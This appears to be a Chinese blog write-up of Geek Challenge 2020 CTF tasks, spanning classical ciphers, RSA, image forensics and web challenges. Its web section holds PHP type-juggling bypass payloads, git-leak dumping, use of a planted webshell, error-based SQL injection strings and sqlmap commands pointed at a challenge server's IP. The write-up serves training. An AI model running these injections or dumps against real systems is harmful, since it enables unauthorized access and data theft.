极客大挑战2020wp

Crypto

1. 二战情报员刘壮

简介:你能知道刘壮在说什么?得到的flag包裹上SYC{} .-…/.----/…-/–…/…/…-/…-/-./–./…–.-/…/…–.-/–…/.----/-.–/.----
提示:刘壮早上起床打摩丝
在这里插入图片描述
提交flag,发现错误,转换成小写还是不对,查看了一下群里给的hint,成功提交
在这里插入图片描述

2. 铠甲与萨满

简介:YEI{roafnagtmroafnagtm_hgtmhgtmhgtm}
提示:kaisa?

偏移量为6时,得到flag
在这里插入图片描述

3. 跳跃的指尖

题目描述:wdr qsz awdx thu xdv eft thu ol rgy ilp(注意请将请将答案套上SYC{}提交)

键盘密码,看键盘即可得到flag

SYC{easycrypto}

5. 成都养猪二厂

题目描述:v先生家里蛮大的,还有很多啤酒。v先生之所以能过上这样快哉的生活可能是因为他的养猪场厂围上了高高的栅栏
提示:flag格式 SYC{xx_xx_xx},除SYC外其他字母小写 单词间隔开添加下划线
在这里插入图片描述
是猪圈密码
在这里插入图片描述

比对上图转换成英文字母

SSYIRCEEHSAGIULISOLBHY

进行栅栏密码解密,没有找到想要的结果
在这里插入图片描述
猜测是W型栅栏密码,果然没错
在这里插入图片描述

根据提示处理一下

SYC{his_house_is_really_big}

5. 规规矩矩的工作

题目描述:wlz当年玩蹦蹦蹦为了抽希尔氪了很多钱
hint1:让我看看是谁不好好上线代课?
hint2:decode程序可能加载的有点慢并且请在命令行内运行

cipher.txt内容为

key_encrypt
1 1 1
1 2 3
1 3 6
enc:
12
12
10

希尔密码

给出的key_encrypt的逆矩阵b为:

 3   -3   1
-3    5  -1
 1   -2   1

对矩阵b进行mod26,得到矩阵c

 3   23    1
23    5   24 
 1   24    1

矩阵c*矩阵enc得到矩阵d

322 
576
310

对矩阵d进行mod26

10
4
24

转换为字母为key
在这里插入图片描述

6. Simple calculation

题目描述:也许能在大一那本紫书上找到算法灵感
提示:hint:“The solution of system of linear congruence equations can be provided by the Chinese remainder theorem”

下载附件

在这里插入图片描述
使用脚本爆破

for S0 in range(26):
 for S1 in range(26):
  for S2 in range(26):
   for S3 in range(26):
    for S4 in range(26):
     T1=S0+S1+S2+S3+S4
     T2=S0+S1+S2+S3*3+S4*5
     T3=S0+S1*2+S2*2+S3*3+S4*3
     T4=S0+S1*2+S2*5+S3*3+S4
     T5=S0+S1*2+S2+S3*2+S4
     if (((T1)%26==3) and ((T2)%26==7) and ((T3)%26==1) and ((T4)%26==1) and ((T5)%26==20)):
        print("SYC{"+chr(S0+65)+chr(S1+65)+chr(S2+65)+chr(S3+65)+chr(S4+65)+"}")

运行结果
在这里插入图片描述

7. babyRSA

题目描述:因为每晚都有小毛贼翻过v先生的栅栏去对猪圈搞破坏,v先生的养猪场不久就倒闭了。失落的v先生感觉不会再爱这个世界了。在他起身去找工作之前留下了一张纸条。

from Crypto.Util.number import *
from gmpy2 import *
from secret import p,flag
flag = bytes_to_long(bytes(flag,encoding='utf-8'))
q = getPrime(1024)
n = q*p
phi_ = (p-1)*(q-1)
e = 0x10001
d = invert(e,phi_)
c = (pow(flag, e, n))

print(long_to_bytes(pow(c, d, n)))
print((c,q,n))
'''out put
(177177672061025662936587345347268313127241651965256882323180749317515733256088163186914550682635245294414879862810654773207644687262596440870094409378849307188485755700138797651039936445998433830516207630858733090581643592843521203499818069822504434370840254518614785953412492701730326524258672860416318501278155194, 166836705584681518148179737955842605213272207836752187845124149461151181903779374775281529346854786259719545699157508885500818994019618158708212777833768444327658647324555090459233657737950932895018766440119999513331707759691054888319029069397903003240927552065429412176600134636921146805408664505115889561043, 191051885543358947736760989661967468461742175898801910645529003886391047898839624568290216360845330501814019720570327197669064365268607597117598905046895097642708006373182989953758208523010345148200475257538336602695211819055893667974317905617522838840325499754862033348148407978527792816186094297381925119601464149)
'''

给了 c, q, n ,e, 求 flag : flag = pow(c,d,n)

分解n,可得到p=1145143,e = 0x10001转成十进制为65537

import libnum
p = 1145143
q = 166836705584681518148179737955842605213272207836752187845124149461151181903779374775281529346854786259719545699157508885500818994019618158708212777833768444327658647324555090459233657737950932895018766440119999513331707759691054888319029069397903003240927552065429412176600134636921146805408664505115889561043
e = 65537
C = 177177672061025662936587345347268313127241651965256882323180749317515733256088163186914550682635245294414879862810654773207644687262596440870094409378849307188485755700138797651039936445998433830516207630858733090581643592843521203499818069822504434370840254518614785953412492701730326524258672860416318501278155194 
#1.求d
d = libnum.invmod(e,(p-1)*(q-1))
#2.求n
n = p*q
#3.m=pow(c,d,n)
flag = pow(C,d,n)
print(libnum.n2s(flag))

结果

在这里插入图片描述

8. 韡髻猊岈

简介:题目地址:https://share.weiyun.com/Y5qldy3K
题目描述:v先生最近说话越来越奇怪了
提示:flag格式 SYC{xx_xx_xx},除SYC外其他字母小写
在这里插入图片描述
题目名字看不懂,试一下汉字转拼音,原来是维基尼亚密码
在这里插入图片描述
直接维基尼亚密码暴力破解
在这里插入图片描述
根据提示处理一下flag

SYC{there_is_no_tears_in_vigenere}

MISC

1. 一“页”障目

简介:宣传单里藏了啥?

下载附件,打开发现三段碎片

在这里插入图片描述
剪切一下,在word里面拼接
在这里插入图片描述

2. 壮言壮语

简介:佛曰:豆梵能佛冥謹沙怯隸道等孕喝伽訶恐奢耶尼殿怯怖奢三缽南怛缽娑皤寫數皤究呐者醯皤勝孕皤顛皤耶夜哆悉侄羯涅悉怯老若俱勝菩知菩所蘇奢以梵世心亦呐耨夷哆至哆醯即波怯明除怯闍怯集怯尼明皤實怯一心缽呼侄羯夢室諳耨呐提迦梵都都呐孕礙諳那呐彌豆缽智遮諳槃提伽俱穆離冥伊冥那藐罰摩迦諳有諳盡即怯多逝侄婆冥涅神
提示:什么是佛曰

与佛论禅在线解密
在这里插入图片描述

3. 秘技·反复横跳

题目描述: 对图片…使用binwalk拳吧!

提示说用binwalk,但是我的binwalk一直报错,只能用foremost了

执行命令foremost FFHT.jpg
在这里插入图片描述
生成ouput文件夹
在这里插入图片描述
解压zip文件夹里面的压缩包,得到了一个错位的二维码图片
在这里插入图片描述
调换一下位置

在这里插入图片描述
扫描二维码,得到flag
在这里插入图片描述

4. 来拼图

下载附件,一共1600张碎片。。。。
在这里插入图片描述
使用ImageMagick工具和gaps工具解题

给出的范例图片source.jpg像素为3840x2160,而每一张碎片图片的像素是90x54,所以想要合成一张图片必须是40x40

使用imagemagick进行合成,得到flag.jpg

montage *jpg -tile 40x40 -geometry 90x54+0+0 flag.jpg

在这里插入图片描述
再使用gaps

gaps --image=flag.jpg --generations=40 --population=1600 --size=1000

在这里插入图片描述

跑了好长时间,结果图还是乱的,吐了,还是直接手工拼图,找出带有字母的碎片拼接起来
在这里插入图片描述

5. 吉普赛歌姬

在这里插入图片描述
贴吧搜索DJ南方
在这里插入图片描述

其中一个帖子,提到了网易云nightcore电台里面的吉普赛歌姬。
在这里插入图片描述
帖子下面的评论发现主播的id
在这里插入图片描述
搜索主播id,找到了不知道怎么吐槽了
在这里插入图片描述

去找那首吉普赛歌姬,伪·Nightcore电台第182期,就是伪 Nightcore - Gypsy Bard,评论里面有关键密码信息
在这里插入图片描述
名字是金秋雨,生日是2月6日
在这里插入图片描述
所以最后相册密码是jqy20000206,flag就在这了
在这里插入图片描述

WEB

1. Welcome

题目描述: 欢迎来到极客大挑战!
提示:
In addition to the GET request method, there is another common request method…

访问网址,发现页面405
在这里插入图片描述
看提示应该是用Pos request method,用post提交随便提交一个welcome,得到php源码
在这里插入图片描述
代码审计

 <?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
header("HTTP/1.1 405 Method Not Allowed");
exit();
} else {
    
    if (!isset($_POST['roam1']) || !isset($_POST['roam2'])){
        show_source(__FILE__);
    }
    else if ($_POST['roam1'] !== $_POST['roam2'] && sha1($_POST['roam1']) === sha1($_POST['roam2'])){
        phpinfo();  // collect information from phpinfo!
    }
} 
$_SERVER['REQUEST_METHOD'] //判断请求方式
isset() //判断是否设定了某个变量 
$_POST["submit"]//通过POST提交的变量判断是否存在通过post方式提交过来的变量
show_source()//函数返回高亮处理的代码
!==  //如果 $x 不等于 $y,且它们类型不相同,则返回 true。
phpinfo()//显示的是php服务器环境的配置信息

由于sha1()函数无法处理数组类型,将报错并返回false。把roam1和roam1定义成数组,数组的哈希值相同。

Payload:roam1[]=1&roam2[]=2

在这里插入图片描述
访问这个文件,使用火狐浏览器,F12查看响应头,得到flag
在这里插入图片描述
或者使用burpsuite抓包,查看响应头
在这里插入图片描述

2. flagshop

题目描述: 你给我钱,我给你flag,就是这么简单
提示:
1.No sessionid!Don’t Try to be admin(robot?) 2.Do you know csrf?

在这里插入图片描述
这题没有做出来,但收集到了大佬的md5截断爆破脚本

#-*- coding: utf-8 -*-
#!/usr/bin/env/python
from multiprocessing.dummy import Pool as tp
import hashlib

knownMd5 = '7af5f'      #已知的md5明文
def md5(text):
    return hashlib.md5(str(text).encode('utf-8')).hexdigest()

def findCode(code):
    key = code.split(':')
    start = int(key[0])
    end = int(key[1])
    for code in range(start, end):
        if md5(code)[0:5] == knownMd5:
            print(code)
            break
list=[]
for i in range(3):    #这里的range(number)指爆破出多少结果停止
    list.append(str(10000000*i) + ':' + str(10000000*(i+1)))
pool = tp()    #使用多线程加快爆破速度
pool.map(findCode, list)
pool.close()
pool.join()

3. 朋友的学妹

题目描述:与妹子单独相处一会儿吧

在这里插入图片描述
查看源码
在这里插入图片描述
Base64解密
在这里插入图片描述

4. EZwww

提示:备份是个“好🤺”习惯
在这里插入图片描述
英语不太好翻译一下
在这里插入图片描述
提到备份文件了,直接试试url/+index.php.bak,直接Not Found
在这里插入图片描述
拿御剑扫一下,看到了可疑文件
在这里插入图片描述
访问该文件
在这里插入图片描述
解压,文件夹里面有个flag.txt文档,打开添加flag
在这里插入图片描述
提交发现错误
在这里插入图片描述
在文件夹里面还有个index.php文件,打开里面是php代码,搞了半天原来是代码审计问题
在这里插入图片描述
把这段代码拿出来审计

<?php
$key1 = $_POST['a'];
$key2 = base64_decode('c3ljbDB2ZXI=');
if($key1 === $key2)
{
    //this is a true flag
echo '<p>SYC{xxxxxxxxxxxxxxxxxx}</p>';
}

post的方式提交一个变量a,如果变量a的值与字符串c3ljbDB2ZXI=Base64解码后的值相等,则会输出flag。

以post方式提交a=sycl0ver,拿到true flag。
在这里插入图片描述

5. EZgit

提示:当前大量开发人员使用git进行版本控制,对站点自动部署。如果配置不当,嘿嘿嘿。。。
在这里插入图片描述
打开cmd,先进入githack路径

cd /d "D:\CTF\webtools\GitHack\GitHack-master"

然后

python2 GitHack.py http://XXXXXXXXXXX/.git/

在这里插入图片描述
在文件夹下发现了fl4g.php
在这里插入图片描述
打开,发现不是flag
在这里插入图片描述
应该有隐藏文件夹,git命令ls -a,有隐藏文件夹.git
在这里插入图片描述
cd .git然后ls -a显示文件目录,
在这里插入图片描述
一样的操作cd ..,然后通过git log命令查看历史记录,看到了一个flag
在这里插入图片描述
比对

git diff 3796466675a1db323e42170def92bee71344a2ee

在这里插入图片描述

参考:https://www.cnblogs.com/anweilx/p/12453703.html

6. 刘壮的黑页

提示:没有人比我刘壮更懂请求方式
在这里插入图片描述
往下划拉,有一段php代码

<?php
include("flag.php");
highlight_file(__FILE__);
$username = $_GET['username'];
$passwd = $_POST['passwd'];
if ($username === 'admin' && $passwd === 'syclover') {
    echo $flag;
}

用get传入参数username=admin,用post传入参数passwd =syclover即可得到flag
在这里插入图片描述

7. 我是大黑客

提示:
唉,黑客刘壮利用网站漏洞种下了木马,站长小金跑路了😔
在这里插入图片描述
打开该文件
在这里插入图片描述
蚁剑连接
在这里插入图片描述
flag就在这个文件夹内
在这里插入图片描述

8. ezbypass

提示:你相信这世界上有黑魔法吗?
在这里插入图片描述
这两句话的意思是:
请使用GET请求传入变量a和b,将它们与strcmp进行比较,并让strcmp返回NULL值。
注意a和b不能相等。

payload:?a[]=1&b[]=2

在这里插入图片描述
意思是提交一个不是数字的参数c,使其值等于123
在php中弱类型比较时,会使(‘123a’ == 123)为真,所以我们post一个参数c=123a
在这里插入图片描述

9. 带恶人六撞

题目描述:你想了解带恶人六撞吗,数据库里有大家关于他的描述。

手工注入

?id=1',从回显结果来看,判断存在sql报错注入
在这里插入图片描述
使用extractvalue函数时,查到数据库名为~geek_sql

Payload: ?id=1'^extractvalue(1,concat(0x7e,(select(database()))))%23

在这里插入图片描述

查看表名,看到了名为fllllag的表

Payload: ?id=1'^extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='geek_sql')))%23

在这里插入图片描述
查列名,列名为fllllllag

Payload: ?id=1'^extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='fllllag')))%23

在这里插入图片描述
查字段

Payload: ?id=1'^extractvalue(1,concat(0x7e,(select group_concat(fllllllag) from fllllag)))%23

在这里插入图片描述
没有回显全部内容,extractvalue()能查询字符串的最大长度为32,得到flag

Payload: ?id=1'^extractvalue(1,concat(0x7e,(select fllllllag from fllllag limit 2,1)))%23

在这里插入图片描述

使用sqlmap注入
1 .爆库

python2 sqlmap.py -u "http://49.234.224.119:7415/?id=1" --dbs

在这里插入图片描述

2 .爆表

python2 sqlmap.py -u "http://49.234.224.119:7415/?id=1" -D geek_sql --tables

在这里插入图片描述

3 .爆字段

python2 sqlmap.py -u "http://49.234.224.119:7415/?id=1" -T fllllag --columns

在这里插入图片描述

4 .爆值

python2 sqlmap.py -u "http://49.234.224.119:7415/?id=1" -T fllllag -C fllllllag --dump

在这里插入图片描述

https://www.cnblogs.com/erR0Ratao/p/14023017.html

posted @ 2020-11-29 23:14  atkx  阅读(391)  评论(0编辑  收藏  举报